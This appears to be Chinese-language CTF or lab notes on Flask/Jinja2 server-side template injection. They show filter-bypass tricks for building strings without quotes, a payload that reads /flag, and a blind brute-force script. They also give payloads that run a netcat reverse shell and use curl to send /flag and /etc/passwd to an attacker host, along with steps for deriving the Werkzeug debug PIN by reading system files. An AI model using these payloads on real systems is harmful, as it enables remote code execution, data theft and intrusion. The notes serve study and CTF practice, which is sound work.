c03fbf9aee5f112bde726948bf773d48_MD5

{%set a=dict(benben=1)%}{{a}}创建字典a,键名benben,键值1

9096ca32453fcf5190607348dbf91c60_MD5

在无法使用引号的情况下,可使用**dict()**生成字典,配合**join**获得键名生成字符串

278a23530046dbcd52f02913ae9ef415_MD5

使用 join 拼接出字符串 “class":

{%set a=dict(__cla=a,ss__=a)|join%}{{a}}创建字典a,join把参数值拼接成字符串

3ef82c2d7ff76861d86dbbee95eb4bca_MD5

利用flask内置函数和对象获取符号

使用list可拆分字符,从0计数

{%set a=({}|select()|string())|list%}{{a}}

1e6e243c6bf90d1d34c0f81f16d5fb37_MD5

{%set a=({}|select()|string())[24]%}{{a}}第24位获取下划线

62d6c5913d15093bdf7b5e7d71844d51_MD5

{%set a=(self|string())[18]%}{{a}}获取空格

fa7f0f0326b28ed7657f52e6fbec4d6f_MD5

{%set a=(self|string|urlencode)[0]%}{{a}}获取百分号

71b01d7a1799b6e5a28c3e5ac1375a5c_MD5

608c9d8073dfd6411972d06d0aa17ccc_MD5

获取数字

a12360eb2e830dc3d9a3c0fca3636c29_MD5

获取下划线,使用pop弹出字符

b5d6ab598914b3003706a96b2835b1bf_MD5

edb2d781d7dbc28bf7d6b3264d497093_MD5

# ''.join(dict(po=a,p=a)) ==> pop 
{% set po=dict(po=a,p=a)|join%} 
{% set a=(()|select|string|list)|attr(po)(24)%} 
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} 
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} 
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} 
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} 
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} 
{% set chr=x.chr%} 
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} 
{%print(x.open(file).read())%}
# -*- coding: utf-8 -*- 
# 盲注 
import requests 
import string 
def ccchr(s): 
    t='' 
    for i in range(len(s)): 
        if i<len(s)-1: 
            t+='chr('+str(ord(s[i]))+')%2b' 
        else: 
            t+='chr('+str(ord(s[i]))+')' 
    return t 
url ='''http://b134fd30-bddc-4302-8578-8005b96f73c2.chall.ctf.show/?name= 
{% set a=(()|select|string|list).pop(24)%} 
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} 
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} 
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} 
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} 
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} 
{% set chr=x.chr%} {% set cmd=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} 
{% set cmd2=''' 


s=string.digits+string.ascii_lowercase+'{_-}' 
flag='' 
for i in range(1,50): 
    print(i) 
    for j in s: 
        x=flag+j 
        u=url+ccchr(x)+'%}'+'{% if x.open(cmd).read('+str(i)+')==cmd2%}'+'1341'+'{% endif%}' 
        #print(u)
        r=requests.get(u) 
        if("1341" in r.text): 
            flag=x 
            print(flag) 
            break
# 反弹shell 
{% set a=(()|select|string|list).pop(24)%} 
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} 
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} 
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} 
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} 
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} 
{% set chr=x.chr%} 
{% set cmd= %} 
# cmd用后面的脚本生成 
{%if x.eval(cmd)%} 
123 
{%endif%}
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()' 
def ccchr(s): t='' 
    for i in range(len(s)): 
        if i<len(s)-1: 
            t+='chr('+str(ord(s[i]))+')%2b' 
        else: 
            t+='chr('+str(ord(s[i]))+')' 
    return t

通过RCE反弹shell绕过无回显界面

import requests
url = "http://localhost:8089/flasklab/level/3"
for i in range(500):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+'].__init__.__globals__["popen"]("netcat 192.168.23.128 5555 -e /bin/bash").read()}}'}
    try:
        response = requests.post(url, data=data)
    except:
        pass

kali 上开启 netcat 端口监听

netcat -lvp 5555

85ea598163d5e0e01407e35333c48be0_MD5

通过 requestbin 或 dnslog 方式讲信息传到外界

import requests
url = "http://localhost:8089/flasklab/level/3"
for i in range(500):
    data = {"code":"{{().__class__.__base__.__subclasses__()["+str(i)+'].__init__.__globals__["popen"]("curl http://192.168.23.128/`cat /etc/passwd`").read()}}'}
    try:
        response = requests.post(url, data=data)
    except:
        pass

kali 上开启 python http 监听

python3 -m http.server 80

b14f50d6a625a8a14118d6cbf1a8ad8b_MD5

要有回显

对于有文件包含或文件读取的漏洞,且开启debug功能,想要执行指令还需要输入pin码

825602bdcaf5d5ad5ee34b75ef6b1a34_MD5

pin码由六个参数构成

  1. username执行代码时候的用户名
  2. **getattr(app,"__name__",app.__class__.__name__)**–>Flask(一般固定)
  3. **modename**固定值默认flask.app
  4. getattr(mod,"__file__",None)app.py文件所在路径
  5. str(uuid.getnode())电脑上的mac地址
  6. get_machine_id()根据操作系统不同有四种获取方式

生成pin码Debugger PIN的代码是在get_pin_and_cookie_name

flask debug 开启危害

有文件包含或文件读取的漏洞,且开启debug功能

点击Read something会跳转页面

30f6ba7ecbd41d1af0b47a1118bb1e7f_MD5

url可以进行修改,从而读取服务器部分文件

7adf1678285c79f5706565add6a99c50_MD5

  1. /etc/passwd可以看到用户名 root(1000以上一般人为创建)

bc03d680be31315b0eb31e48690aefdb_MD5

  1. mac地址查看/sys/class/net/eth0/address(计算时转化为十进制)

73101aaa89e26efc23d3e0c506ea4e6d_MD5

  1. get_machine_id()

查看/etc/machine-id

2a5bbf2778e7c2e4c8700a741cf25011_MD5

/proc/self/cgroup

f8cbe739ba2e1c2939d1f1d1a5964c18_MD5

还需要一个报错界面,或者默认路径

f19a7e4afb564a0cbc49bd45643bac4f_MD5

最后跑一下

60481d31efca75fc8563848ed630559e_MD5

相关内容